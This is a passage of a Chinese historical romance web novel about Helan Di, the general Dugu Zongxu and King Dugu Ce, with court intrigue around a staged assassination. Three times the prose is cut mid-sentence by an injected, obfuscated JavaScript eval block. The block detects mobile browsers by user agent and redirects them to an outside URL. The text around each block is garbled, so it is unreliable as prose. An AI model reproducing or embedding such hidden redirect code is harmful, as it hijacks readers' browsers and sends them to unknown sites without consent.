“我也没有办法,将军清楚,我无处可去。”说完这一句,她松开了他,孤零零地坐在那里,像个将要被抛弃的小兽。 独孤宗绪自诩是个冷情的人,他身世复杂,经历坎坷,从来没有那么些无聊的感情去怜悯别人。 可眼前的女子,他忽然很怜惜。 “这些日子事情太多,这才对你多有冷落,”独孤宗绪抚了抚贺兰的发,“你不要多想,安心住着,有空我会来看你的。” 说完,见她神色仍是寂寥,又补了句:“若真觉得无聊,可以去前院找我,让墨竹直接带你过来就好。” 她听到此言,抹了抹脸上的泪,匆忙地扬起一个笑意。可惜,哭得狠了,那笑容都带着勉强。 8. 八、烛影深 “娘子身体虚弱,劳烦你帮忙看看,若还需进补什么,只管告诉管家。”独孤宗绪理了理衣袍,侧目看向立在旁边静默无语的医女。 是个沉得住气的人,这么久了,始终低头立在旁边,眼皮都没抬一下。 “不知阁下如何称呼?是何方人士?”他忽然问道。 “回将军,小人姓王,是岳州本地人。” “王氏……”他念着,眼眸在她身上逡巡了几下,道,“看阁下举止,竟不似边塞之人,倒有些江湖之气。” 贺兰听闻此言,本能地抬起头,惊异地看了一眼独孤宗绪。 所幸他并未注意到自己的异样。 环夫人却神色如常,微微抬起双目,笑道:“乐陵公慧眼,医者游离在市井街巷,结识着三教九流,可不得有些江湖之气。” 她说得也是实情,如今世道动荡,人命轻贱,他们这些医士动辄便有性命之忧,有些功夫在身也属正常。 不过……未免过于滴水不漏。 “边地医士稀缺,女医更是寥寥,不如你就待在这里,专门侍奉娘子吧。”独孤宗绪不介意用这样的小恩小惠来讨贺兰的欢心,何况心有怀疑的人放在眼皮子底下才更放心,量也掀不起什么大浪。 “诺!”环夫人并未犹豫,直接答应了下来。 独孤宗绪又深深看了她几眼,不想引来身边人的不满,贺兰的手指轻轻缠着他的衣带,委委屈屈地低语:“将军只盯着她做什么……” 独孤宗绪听闻此言,忍不住轻笑了一声,刮了一下她的鼻子道:“听闻岳州的醋不错,想必阿荻很喜欢。” 贺兰听懂了他的调侃,忍不住羞红了脸,秋水盈盈一睇,似嗔似怨,娇得如同暗夜里的海棠。 独孤宗绪似乎受了蛊惑,视线寸寸拂过她的脸,最终落在她红润饱满的唇上。他的手落在上面,缠绵地停留。 这样的触碰,让眼前的女子轻轻颤抖了一下,双唇无意识地紧抿起来。指尖柔软潮湿的触感让独孤宗绪浑身如被火灼,他知道再这样下去,他会被彻底拽入这情丝交缠的网中,像猎物一样再难逃脱。 可他不想逃脱。 “夜深了,早些休息。”模模糊糊的一句话,带着几分喑哑。 侍女们却听明白了意思,立刻鱼贯而出,门扉轻阖后,帐幔旋即落下。 “妾还病着……”帐中女子柔弱羞怯。 “无妨,我有分寸……”男子的声音沉沉压下,混着一丝满意的喟叹。 “……” “怎么哭了?”旖旎被骤然打断,男子不解地问。 “将军对妾,不过如此。”女子的声音抽抽噎噎的,“妾不过是个玩物,病成这样都得不到怜惜。” 男子分明变得慌乱,小意地哄道:“是我不好,你别哭了,这几日好好养病,我不碰你就是。” “将军是君子,要说到做到。” 一段绮丽的情思就那样消弭在了暗昧的夜色里,混在烛火的跃动间,随着窗外吹过的风一起摇曳。 环夫人望着天边高悬的月亮,无声地喟叹。 “医士,这边请吧。”侍女弓着身,对她比了比离开的路,言语周到又客气。 环夫人又看了眼烛影深深的屋内,然后提步离开,再也没回头。 …… 那一夜,独孤策也做了一个梦,在梦里那个女子娇着声音喊他“独孤郎”。 冰肌玉骨,烟眉杏目,好看的如同妖物。 她的手像蛇一样缠上来,环住了他的脖颈,轻轻地凑近,用唇描摹着他的轮廓。 独孤策觉得自己像是在被火烧,所有的理智都要被焚为灰烬。他情不自禁地将她拥得更紧,恨不得牢牢嵌在自己的身体里。 “望郎君怜惜些……”她嗔怪自己的粗鲁,但是声音却惑人得厉害,仿佛不是在拒绝,而是在邀请。 独孤策再也忍不住,俯身吻上了她的唇。 那上面有三月桃花的清香,还柔软的不可思议。 “阿荻……”独孤策终于开口叫出了这个名字,生疏地两个字却缠绵起他的全部柔情。仿佛是置身于云端,美妙不可胜言。 他的理智一点点被吞噬,更不能化身为兽,将送到眼前的美味毫不留情地吞噬干净。 …… 清醒时,天未亮,烛火的余热仍在,缭绕起一片烟气。独孤策看着一片狼藉的床榻,心下懊恼不已,但比懊恼更清晰的却是怎么都平复不了的心跳。 她定是给自己施了咒法,才能肆无忌惮的入梦,勾魂摄魄后离开。 妖女! 她怎么成了这样的妖女…… …… 这样可耻的梦,缠了独孤策多日,让他在与属下谈话时,仍会跑神。这样的反常,自然落在了赵雍的眼中。 赵雍自然从侍从口中听到了那夜独孤策私见贺兰荻的事情,原本觉得那无关紧要,毕竟旧情难忘这件事,也属人之常情。 大王及冠未久,身边半个女人都没有,全部心思都在一统草原诸部上,这既是他的野心,也是他不得不承担的重担。当年他迫不得已抛下贺兰部这个女人的事,在这种乱世不过司空见惯,原本不值得自责太过。 可如今旧情复燃,对他而言未必是一件好事。 “清河公主被杀,那边似乎一点头绪都没有,依大王看,我们该如何?”赵雍开口问道。 陈留王慕容泠竭力在处理,虽然焦头烂额,但到底想要给个交代。有人想要阻止这场联姻,自然有人就想一力促成。 “征讨宇文部在即,此时联姻中断,对我们算不得好事。”独孤策敲着手中的棋子,缓声道,“有人不想促成此事,我们又何必自乱阵脚,让人钻了空子。” “确实,”赵雍笑道,“陈留王这些时日如此费心,想来在此事上是友而非敌了。” “希望如此,不过连送亲队伍都如此鱼龙混杂,可见洛城很不安定啊。”独孤策道。 赵雍善弈棋,连带着独孤策都成了个中里手。二人时时切磋,互有胜负。 “大王近日可留意到陈留王此人?”赵雍将手中的棋子落下,恰在一个凌厉的位置上,逼着独孤策不得不舍了小半片江山。 独孤策皱眉,像是在思索棋局,又像是在思考他的问话。 “陈留王出现在燕关,看似送亲,图谋却深。他虽然非嫡非长,但绝非看上去那般淡泊无争。”赵雍窥着独孤策的脸色,出言道。 独孤策深以为然地点了点头:“那是自然,慕容家的男人,怎会没有争心。他做做样子,能骗得了几个人?” “不过他此行的确收获颇丰……”赵雍慨叹道。 独孤策知道他说得是什么,顺着他的话说下去:“他与我那六叔相交,自然有所图。” “乐陵公勇武且多权略,在草原诸部中颇有威望,慕容泠趁着两国交好加以拉拢,怎会没有私心,只是不知这私心对大王是否有碍……” 他顿了顿,又道:“乞伏那归这件事上,乐陵公还欠大王一个解释。听说他对那贺兰氏十分宠爱,连处理军务都将她带在身边……” 赵雍说完这句话,下意识地挑眉看向独孤策。 果然,当他提到这个女人时,独孤策的眉心不觉轻皱而起,他下意识地瞟了瞟远处,回避着这个话题。 “不过一个女子罢了……” 不过一个女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546673|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢了,有什么值得他念念不忘,凭什么让他回头纠缠。 …… 但当他又一次与她不期而遇时,他自己都生出了几分恍惚。 太守府的后院种着一大片辛夷,这几日陆陆续续都开了花,热情的管家一遍又一遍地向他说着那处春光的美丽,引得他凡心大动。 移步向后园,果然见那辛夷开得正热闹,远远望去如紫色的烟霞。 独孤策不由地向更深处走去,不知不觉便走到了一处水榭。水榭修的精巧,临水而建,三面是静水,一面是曲曲折折的回廊。上书“隰有荷华”四字,运笔流畅,风骨俏立,竟是难得的好字。 独孤策一向喜欢汉家文化,不由靠近去细细观察赏鉴。 便在这时,水榭中的美人猝不及防地闯入了他的视线。 美人并未注意到有人靠近,就那样闲闲地倚着栏杆,曼目远望。风颇大,舞动着她身上宽松的衣衫,烟粉色的衣衫上并无半点缀饰花纹,反而让她宛若仙子,随时要羽化而去般。 临水是一树一树的辛夷,于春风中尽情舒展,这里的确是个赏景的绝佳所在,只是沉醉美景的人却不知道,她亦成了一道风景,落在了别人的眼中。 反倒是她身边侍立的仆婢先发现了外人的闯入,讶异地提醒了一声,她这才回头去看。 横波微漾,秋水澜生。 她的眼中先是惊讶,继而在仓促地闪躲后,蕴起了一抹不易察觉地悲伤。但这些微妙的情绪,都被她浅淡又疏离的笑容掩盖,她对着他行礼,叫他“大王”,客气周到地如同面对着一个陌生人。 独孤策鬼使神差地又向她靠近几步。 贺兰忍不住向后退去,一双大眼睛扑闪着此刻的焦灼和不安。 她身上有幽微的香气,并非什么名贵的香料,也算不得浓郁,偏偏就能丝丝缕缕地侵入他的呼吸中,诱着他想起那些旖旎的梦境。 见对方仍在靠近,她仓促地垂下头去,只留给独孤策一截莹白如玉的纤纤脖颈,还有脖颈上缭绕着的几丝碎发。 独孤策控制着自己的呼吸,害怕它太过凌乱而打扰到此间的宁静。 “阿荻,你是何时能开口说话的?”一个唐突地问题,却也是他能想到最不突兀的表达,也是他最想问的一句话。 她仍不抬头,也不回答,只是再次行了个礼:“妾与大王算不得熟识,不知如何回答大王的问题。” 这句明显就是在负气了,她能有这样的反应,再正常不过,毕竟说到底当年也是他辜负在先。 “阿荻”他勉力让自己的声音听着温柔小意,“当初我以为我很快可以回来接你,谁知……” 他连自矜身份的自称都抛下了,只让他看着仍如当年,可谁知他的话还没说完,就被无情打断了,她的声音柔和清婉,却很是冷漠。 “妾早将旧事忘得干净,还请大王也休要再提。”她顿了顿,鼓起勇气抬头,眼中一片哀伤,“乐陵公待我很好,烦劳大王莫要再牵念。” 字字句句都是疏离,那夜的事好像只是他一厢情愿的一场梦。 “他若是待你好,为何你病了连个大夫都请不到,那夜你分明……”话到嘴边,独孤策也犹疑了,此情此景的确不是说这些话的时候。 然而她与那夜的态度判若两人。 “大王恕罪,乐陵公在等我,先告辞了。”她没有再多说一个字,仓促地带着仆婢就要离开,逃也似的。 独孤策想要挽留,但伸出的手却僵硬地停在了半空中。他望着贺兰离开的背影,袅娜如蝶,轻盈如雾,倒是捉摸不住了。 说什么那人甚好,不过是她心里仍怨着自己当初弃她不顾,嘴硬罢了。 9. 九、暗流涌 贺兰荻回去的路上,迎面遇到了款步而来的独孤宗绪。一袭雪青色襕袍,头上簪了只玉簪,看着颇有名士风致。 他说话前喜欢先笑一下,无端让人觉得温和有礼。 “听说后院辛夷开得好,可去看了?”他问道。 贺兰并不惊讶他知道方才发生的事情,这样一个小小的院子,人多嘴杂,什么风言风语都属正常。 她款款行礼,巧笑嫣然:“看过了,总觉得寡淡,不及桃李浓艳。” 独孤宗绪将她扶起,轻轻拂了拂她的衣袖,贺兰这才注意到,那里沾了水,有些脏了:“将军稍待,妾去更衣。” 她方要走,却被扯住了袖子。 “不急,陪我走走吧。”独孤宗绪摆摆手,屏退了随从,然后自顾自地带她向前走去。 贺兰忖了忖,跟上了他的脚步。 他沉默,她亦不开口,不知不觉就走到了书房外。 他很喜欢这一处,布置的比其他地方要用心得多。贺兰的目光却没有被几案上那些价值连城的笔墨纸砚吸引,她注意的是书房一侧从地面到屋顶堆成的书墙,一眼望去,卷帙浩繁,有巍巍之相。 少时阿母就曾对她说过,只有读书才能让一个人平静从容,悲喜由心。她原本就出自书礼之家,是被精心教导过的闺秀,若没有那场变故,她该会过着怎样的日子……她不敢想,怕想了就再也无法忍受现在的生活。 后来,她能接触的只有佛经,说实话她并不爱读,因为晦涩的经文注定只能让她获得暂时的救赎。 她也好奇,若是经文真得有用,凭什么那些男子所读皆非如此,凭什么他们需要的不是忍让和慈悲,而是征服和掠夺。 可见都是错的,不过是规训人的手段罢了。 “阿荻也喜欢读书?”独孤宗绪的声音将她拉回了现实。 贺兰本能地点头,回神后却有几分赧然:“妾识得字不算多,谈不上喜欢不喜欢。”藏拙是她的保命之策,她并不认为这些男子会有宽广的心胸,接纳一个女子的渊博和聪慧。更多时候他们喜欢俯视,用他们自以为是的才华和见识。 心里越不屑,脸上的笑容就越纯洁无害。 独孤宗绪见她如此羞涩,忍不住走过来,轻轻牵住了她的手,带她到书架前,温柔道:“这里的书,想读哪一本便读哪一本,看不懂,问我就是了。” 女子回身,不加掩饰的欢喜就这样直直撞到独孤宗绪眼中,流淌着感激与倾慕的眼神,让她本就妍媚的面容,愈发生机勃勃,动人心弦。 独孤宗绪忍不住抚了抚她桃花般娇艳的脸。 “当真想看哪本都可以吗?”她不可置信地又问了一遍。 “自然。” “不看佛经也可以?” “没人逼你做不喜欢的事情。” 独孤宗绪的声音如湖上清风,听在耳中有浅浅涟漪漾上心头。 贺兰抬起头,用自己的脸颊在他的掌心蹭了蹭,用乖顺来表达自己的感激。独孤宗绪终于想起了她像什么。 像自己曾经养过的那只狸奴。 他看向贺兰的眼神忽然变得很温柔,他伸手将她拥入了怀中,轻轻叹了口气。 半晌,怀中的人忽然开口问道:“将军有心事?” 独孤宗绪的声音里透着疲惫与无奈:“没什么,只是想与你独处一会儿。” 听到这句,贺兰轻轻环住了他的腰,安静地靠在了他的怀中。 “阿荻,就这样陪我待一会儿吧。”独孤宗绪意气消沉,颓着身子坐到窗边的小榻边,手指按着头,眉心深深蹙起。 她早就感觉到,他与独孤策生了龃龉,他并不像面上那般忠诚和服从于这个和他年岁相近的侄儿。 听说当时独孤策流落在贺兰部时,是他暗地联络部落旧臣,囚禁作乱的二哥,将独孤策迎回,推他登上可汗之位。所谓力挽狂澜,忠心耿耿不外如是,可这样的功绩往往会随着独孤策权势欲望的增长,变成功高震主的威胁。 此一时,彼一时,过去扫清障碍的刀,谁知道会不会有朝一日成为架在脖子上的利刃。独孤策不敢赌,独孤宗绪亦骑虎难下。 贺兰装作不知,一言不发地跟随他,坐到了他的身旁。独孤宗绪望了她一眼,缓缓躺下,在她的膝上找了一个舒服的角度,轻轻阖上了双眼。 贺兰用指按揉着他发紧的额心和太阳穴,柔声道:“将军休息一会儿,我陪着你呢。” 他没有回应,像是已经睡着了。 博山炉缭绕起淡淡的香气,烟雾弥漫在朱红色的书架间,仿佛偷得了书里的只言片语,凝成渺远空幽的意境。 窗外十分安静,偶有几只麻雀叽喳觅食,跳上窗台,企图打破此间宁和,但过了一会儿也觉无聊,又跳开去了院中。 “阿荻,若是独孤策对你仍有旧情,你可愿跟他回去?”过了很久,久到贺兰都有些昏昏欲睡时,耳边忽然传来独孤宗绪的声音。 他的声音闷闷的,听着不似玩笑。 贺兰愣了一下,知道这句话并不好回答,于是斟酌了许久,才道:“草原上有句话,一匹骏马决不能总回头看同一片草原。” “这么说,你是不愿了……”他睁开眼睛,含着浅淡笑意,打量着贺兰。 贺兰不明白他的意思,正不知如何回答,忽然听到外面急促的敲门声。 这个时间敢做这件事的,自然又是墨竹。 果然就听到了熟悉的声音:“主公,大王有事与你相商。” 独孤宗绪揉了揉额角,露出一丝不耐,他起身,理了理并不算凌乱的发髻和衣袍,这才翩然而去。走了几步,回头时见贺兰惶惶然地站在原地,又忍不住走过去拍了拍她的肩膀:“安心在后宅待着,不要乱跑。” 贺兰依依牵着他的衣袖:“将军早些回来。” 他说了句知道,然后头也不回地离开。 门外灰沉沉地天压得很低很低,光线昏沉的厉害,锦衣玉带的他便是天地间唯一的一抹亮色,可惜也很快就融进了扯絮般的大雪中,难觅踪迹。 在门外站了一会儿,冻得脸都有些发僵,贺兰苦笑了一声,扬声去叫素商。 “传些风声出去,就说我的住处有盗贼潜入,丢了好些首饰。” …… 晚膳时,贺兰拎着食盒去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546674|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独孤宗绪,被书房侍候的仆婢告知,他正在沁芳阁。沁芳阁是专门为送亲使提供的暂住之所,那里在西院的东北角,很是幽静。 “殿下尚未用膳,妾炖了鸡汤,想要让他尝尝。”走到沁芳阁,却被守卫在外的侍卫拦住了,免不了一番解释。 “闲杂人等不可入内。”侍卫并不认识贺兰,阻拦时很不客气。 忽然身后有人道:“贺兰娘子是随孤一起来的。” 说罢,那人头也不回,径直向内而去。 侍卫匆忙行礼,叫了一声“大王”,又连连向贺兰致歉,再未敢阻止半分。 “我记得你以前并不喜欢凑热闹。”独孤策负手走着,忽然开口,对身后的贺兰道。 “妾怕郎君饥饿,来送些吃食。”她与独孤始终保持着一个得体的距离。 他太过高大,巍峨如山般挡在眼前,贺兰忍不住放慢了脚步,与他隔了些距离,可是他身上的龙脑香气还是徐徐闯入她的呼吸中。她记得,他一直是个讲究的人,纵使落魄时,亦保持着良好的习惯,不让自己看着颓唐窘迫。 也是可笑,有些东西明明想要忘记,偏偏还会记起,她自己都觉得分外无趣。 “陈留王方才遇刺,凶手再次逃之夭夭,这件事……你如何看?”独孤策突然停下,转身问道。 贺兰藏着心事,踉跄了一下,差点撞到他的胸口。他下意识伸手去扶,但她已经灵巧地躲开,不动声色地又退了几步。 “妾不懂这些……”贺兰语气疏远,隐约带着担忧,“只是希望大王莫要责难我家将军。” 一口一个我家将军,亲密地让人心烦。 “你又怎知我会责难他?”独孤策看着她,声音里带了几分不悦。 “终究是在太守府中出了事,将军心里忐忑,这些日子茶饭不思,妾也觉得心疼。” “他曾对你抱怨过什么吗?”独孤策听出了她的弦外之音,眼中骤然阴云密布,“我可从未指责他半分。” 说罢,心头火气更盛,冷哼道:“无名无分,哪里就情深义重至此……” 扔下这句话,他忽然转身,加快了脚步,背影看着十分不豫。 贺兰眯了眯眼睛,择了另外一条路,不再继续跟着他。 沁芳阁前也种着许多辛夷,花苞开得大,幽幽散着冷香。几个侍女在树下窃窃低语,神色忐忑:“殿下伤得这样重,真让人害怕,青天白日的竟然有人公然行凶……” “殿下初到此地,哪里会与人结仇,莫不是……” “莫不是什么?” “凶手就在太守府中。” “难道是代王不愿与我大晋结亲,这才动的手?” “你傻啊,要真是代王不愿意,怎么会在自己的地盘上动手,肯定是有人故意破坏联姻。” “那会是谁?总不好是草原上其他部族吧,这代王还真没少得罪人,连累了咱们殿下。” 贺兰听着侍女的谈话,轻轻抚了抚自己的衣襟,手心有汗,让她觉得粘腻恶心。 心狠手辣,无所顾忌,行事鲁莽,刚愎自用,直接刺杀是那个人会用的手段,绝对不会有人怀疑。 10. 十、步步计 一面想一面进了阁中,血腥气先于一切闯入她的鼻端,她拿出帕子捂住口鼻,硬着头皮去找独孤宗绪。 “你还是和当初一样,见不了一点血腥。”独孤策伸手,抓住了贺兰的腕子,轻轻将她扯到了身后,“到外面去待着。” 贺兰看了独孤策一眼,眼圈微微发红,话语仍倔强:“我不怕,我早就见惯这些了。” 分明不是在抱怨,但字字都饱含委屈,独孤策的心轻轻抽了一下,握着她腕子的手都有些发僵。 他叹了口气,尝试着去抓她的手,却被她不着痕迹地躲开:“不劳大王费心,你还是操心这件事该如何料理吧。” 独孤策听她如此说,愣了一下,旋即又看了贺兰一眼,忽然露出一个莫测又玩味的笑容。 贺兰瞪了他一眼,选择躲避他的目光。 她撒娇时固然讨喜,生气时反而更鲜活可爱,当年他怎么没有发现…… “先杀公主,后伤亲王,哪里来的歹徒,竟然如此猖狂。”独孤策不再思量贺兰的小儿女心思,走上前去对一筹莫展,焦头烂额的独孤宗绪道。 “是本宫疏于防范,不干乐陵公的事,代王莫要动怒。”坐塌上的慕容泠苍白着脸色,缓声道。 他的伤口虽然已经被伤医处理好了,但疼痛还是让他冷汗涔涔,气息不畅。他该庆幸,若不是有些身手,这一剑就该刺在心口,立时毙命,而不是刺破手臂,受了些皮肉之痛。 “孤怎会怪罪六叔,陈留王说笑了。”独孤策心里烦乱,也不知自己对独孤宗绪的不满,何时竟然明显到了这般地步,一个两个都挂在了嘴上。 他勉强扯了个笑,解释道:“殿下在孤的地盘上出了事,孤心里十分过意不去,难免急躁了些。总归是那贼人太过狡猾,六叔这些日子辛苦了,孤心里都清楚。” 独孤宗绪脸上是惯常的温和,拱了拱手,淡声说了句大王言重了,然后问慕容泠道:“可见到刺客样貌?” 慕容泠拭了拭额上的冷汗,涩涩道:“遮着脸,看不分明,不过身形矫捷,动作狠辣果断……” 他下意识地捂了捂伤口,疼得声音都虚了几分。 “他……打斗中掉落了一个令牌。” “这就好办了。”独孤策身边的瘦老头,忽然道,“令牌关乎刺客身份,殿下该早些拿出来的,以此为凭据搜查,岂不是更快。” 贺兰识得赵雍,见他跟着独孤策,微微向独孤宗绪身后躲了躲。 慕容泠却犹豫了,踟蹰半天也不肯拿出令牌。 “殿下是有何为难之处么?”独孤宗绪看出他的犹疑。 慕容泠听他如此说,闭着眼睛,长长叹了口气。 “这……让我如何说……” “刺客不抓,危险重重,且关乎国事……”独孤宗绪循循道。 慕容泠一双剑眉皱得极深,都能看到眉间深深的丘壑,似乎经历了很多挣扎。 “这个令牌出自渤海王府,”他声音压得很低,“我应当没有看错。” 说罢,又解释了一句:“或许只是刺客故意陷害,毕竟联姻关乎国事,我兄长不会这样做。” “并非所有人都与你我心愿相同。”独孤策看向慕容泠的伤,唇角带了嘲讽,“有人不愿不是很正常吗?只是不知你父皇是否知情……” 说罢,他拂袖离开,浅浅的怒气留给屋中人,足以威慑,也表明了自己的态度。 不知是不是错觉,贺兰感觉他离开前,目光在自己脸上停了一瞬。 她垂了眼眸,藏起了九曲婉转的心事。 …… 雪又静静落了很久,直到夜深,还在簌簌飘着。梅树横斜在窗前,衬着廊下摇曳的灯,显得孤清。 “辛夷都开花了,怎么又落了雪。这气候真是诡异……”贺兰抱怨。 环夫人搭了一回脉,沉吟道:“阴虚火旺,形气衰少,你近来心气太浮了些……” “姊姊如今越发进益了,假以时日,当为一代神医。”贺兰趴在几案上,软的像个没有骨头的猫,她在人后一向喜欢这个姿势,仿佛只有这样才能彻底撕开伪装,变得真实纯粹。 环夫人对她的揶揄付之一笑后,正色道:“我们只需要留一个令牌,慕容泠就会与我们合作?” “才不是合作呢,我们是帮了他呀……他若真是毫无私心,或者有心遮掩,今日就不会将令牌拿出了。”贺兰坐了起来,拿起妆台上的步摇,对着环夫人如云的发髻比了比,啧啧道,“阿姊的头发生得真好,我要是有这样一头乌发,就给上面插满步摇。” 环夫人最知道她的性情,一意孤行地厉害,每当她开始顾左右而言它时,往往都是做好了决定,不想被人劝阻。 她没想劝阻,只是担心,她们势单力孤,没有太多能力与这些人周旋。 “哎呀,姊姊担心的无非是他们查到咱们头上,知道自己中了计。姊姊真是多虑了,慕容泠就算察觉出刺客的意图,也不会深查下去,因为他要的是慕容泓的把柄,有人递到手中,不恰恰说明是友非敌么?至于对方什么意图,和他又有什么关系,左不过殊途同归罢了。” “他羽翼未丰,哪里能比得上他的那些兄长,能有此等良机,他巴不得赶紧抓住。” 环夫人被她说动,想了想,又道:“那边我已经布置好了,不过你以身入局,会不会太冒险了些?既然矛头已经指向了慕容泓,我们没必要再……” 贺兰摇头:“若不能再加把火,以你我之力如何能与他抗衡。我倦了,不想陪他玩那些拙劣的伎俩。” “堂堂一个皇子,使得全是上不了台面的阴招,能有什么大出息。”贺兰哂然。 “家主还在他手里。”环夫人提醒。 “他又不是白身,不是还有段氏可以依靠么……”贺兰顺势靠在了环夫人的肩上,依依地闭上了眼睛,“我只想让慕容泓死,不为别人,只为我自己。” “我会将他捉来,由你亲自了结。”环夫人心疼,摩挲着贺兰的发。 贺兰的声音闷闷地:“让我想想,是一刀一刀割了他的肉呢,还是将他挂起来,一点点放干他的血……就像咱们在草原看到他们杀羊那般。” 她说得兴奋,可是眼中却一点光彩都没有,只有疲惫,只有悲伤。 “好,随我家女郎高兴。”环夫人握住了贺兰的手。 贺兰的手很凉,小小一只,柔软而细弱。可她却想要用这双手来为她们这些孤苦无依的人谋一条出路。 她明白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546675|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 环夫人觑到案上摆得几本书,问贺兰:“这些书……” “我又开始读书了,我想知道那些日夜困扰我的东西,会不会在书中找到答案。” 环夫人的眼中漫过一丝悲伤,叹道:“从前夫人就最喜欢这几本,她总说治国做人之理皆在其中,想不到你将这些话记得这般清楚。” “是啊,我记性好,好的坏的都忘不掉。”贺兰难得这样一本正经地说话,听到环夫人耳中,却引出了她内心的无限悲伤。 她的手摩挲过书角,不由红了双眼。 …… 乞伏那归从部下那里出来时,脚步仍有些虚浮。 今日的酒很是上头,不过喝了几杯,便觉醉意熏然。部下按住了他,不让多喝:“多事之秋,喝酒误事,可汗还是莫要再饮了。” 乞伏那归并不听劝,反而有几分轻慢:“怎会如此胆小,那独孤小儿既然众目睽睽下答应了,自然不敢动我。” “还是谨慎些,莫给殿下惹麻烦。”部下皱眉,犹豫地说。 乞伏那归摆手说不会:“出了再大的事儿,也查不到咱们头上。本汗除了给那独孤宗绪送了个美人,可再没做过其他的事儿。” 想起那张娇媚的脸,他不免懊恼:“要不是殿下不允,本汗早就睡了她,哪里轮得到独孤宗绪。” 部下见他越说越荒诞,忙吩咐手下将人扶回住处。 绕过几处回廊,听到了几声琵琶,听着婉转多情,让他心思荡了一下。果然,刚过月洞门,就看到一个曼妙的佳人在对月拨琴,她手上的琵琶拨子有一搭没一搭的,像是藏着许多心事。 乞伏那归推开了仆从,踉跄着向那女子走去。 边荒之地,少有美色,更何况是这等绝色。她身上披着白色的貂裘,转头看他时,眼里荡着楚楚的水波。 待看清来人,她陡然停下了手上的动作,怯怯向后退了几步。 正是这几步,立刻激怒了晕沉燥热的乞伏那归,他一把抓住了女子的手腕,将她扯到了怀中,另一只手旋即捏住了她玲珑的下巴,迫着她抬头。 “放肆,你放开我!”女子推搡,但哪里能拗得过男子的气力,只能瞪着一双妙目,眼泪扑簌扑簌地往下落。 她哭起来更是惹人怜爱。 乞伏那归气血涌动地更厉害了,油腻的嘴控制不住去寻她的脸颊。 “贺兰部第一美人果然名不虚传!”乞伏那归喟叹不已,不顾怀中人的挣扎,仗着蛮力就要剥她的衣衫。 贺兰剧烈挣扎起来,两人推搡间,琵琶落地,弦都摔断了几根。 “你如此无礼,就不怕乐陵公怪罪。”贺兰哭叫。 “贺兰荻,你不过是个以色侍人的贱人,在这里装什么。”乞伏那归肥厚的掌掐在贺兰的脖颈上,恶狠狠地说,“你以为搬出独孤宗绪我就会怕你。” “独孤策当年抛弃你,你以为独孤宗绪不会么?” 此言一出,他忽然听到清脆的巴掌声,那女子的手又快又狠,打得他颊边火辣辣地疼。 乞伏那归踉跄摔倒,手触到了地上的琵琶弦。一时怒气上头,顾不得其他,他拿起就缠在了贺兰的脖子上,恨声道:“贱人,乖顺些,不然我勒死你。” 11. 十一、危局现 “你……便是这般……这般勒死公主的吗?”贺兰忽然道。 “什么?”乞伏那归没听清,以为这女人是在骂他,手上不由加了些力。 “是你杀了公主,以为我不知道吗?”她忽然提高了声音,脸上露出一丝诡异的笑。 “你胡说什么!”乞伏那归这次听得分明,一时气急,就动了杀心。 还未付诸行动,忽然感到一股大力踹到了他的腰上,膘肥体壮的人被这一脚生生踹的飞了出去,寒光闪烁间,刀劈在了他的肩头。 鲜血喷溅,乞伏那归惊叫着,看向来人。 高大英伟的男子一手持刀,另一只手已经揽住了贺兰,将她紧紧护在了怀中。 “找死!”比刀光更寒凉的是他的眼眸,这双眼眸嵌在他利落英俊的脸上,咄咄逼人,杀气腾腾。 乞伏那归的酒立时就醒了一半,捂着被踢疼的腰,却没敢喊疼。 “代王殿下,这不过是误会……误会……”他吸着气,解释道。 独孤策的视线落在乞伏那归的手上,一截琵琶弦仍被他牢牢攥着,泛着一丝莹润的光。 收回视线,怀中的女郎衣衫凌乱,脖颈上伤痕深重,再差一点,她的命就丢在这里了。她显然被吓坏了,根本不管眼前的人是谁,只一味地向他怀里钻,试图求得护佑。 “阿荻……”独孤策握着她的肩膀,想要将她从惊恐中唤醒。 可她却只缩着脑袋,喉中发出一点模糊的呜咽。 “将人绑起来,先给他醒醒酒。”独孤策冷声吩咐,然后在乞伏那归的挣扎怒骂声中,一把将怀中人打横抱起。 走了一段时间,贺兰才终于睁开了眼睛,怔怔然看着抱着自己稳步前行的男子。她的脸色很苍白,纤弱的身体像是寒风中摇曳的枯叶。 独孤策的脚步迟滞了刹那,对着她露出一个安抚的笑容,声音温柔如水:“莫怕,有我在。” 然而这句话并没有换来她的依恋和感激,她的眼中很快就聚起了越来越多的泪,这些泪水顺着她的脸颊肆意的流淌,破碎在他的胸口。 怎么会有那么多的泪啊! 独孤策停下了脚步,将她抱得更紧了些,让她贴在了自己的胸口。 慢慢的啜泣变成了呜咽,呜咽变成了嚎啕,她在他的怀中放肆的悲伤,像是要哭尽一生的眼泪。 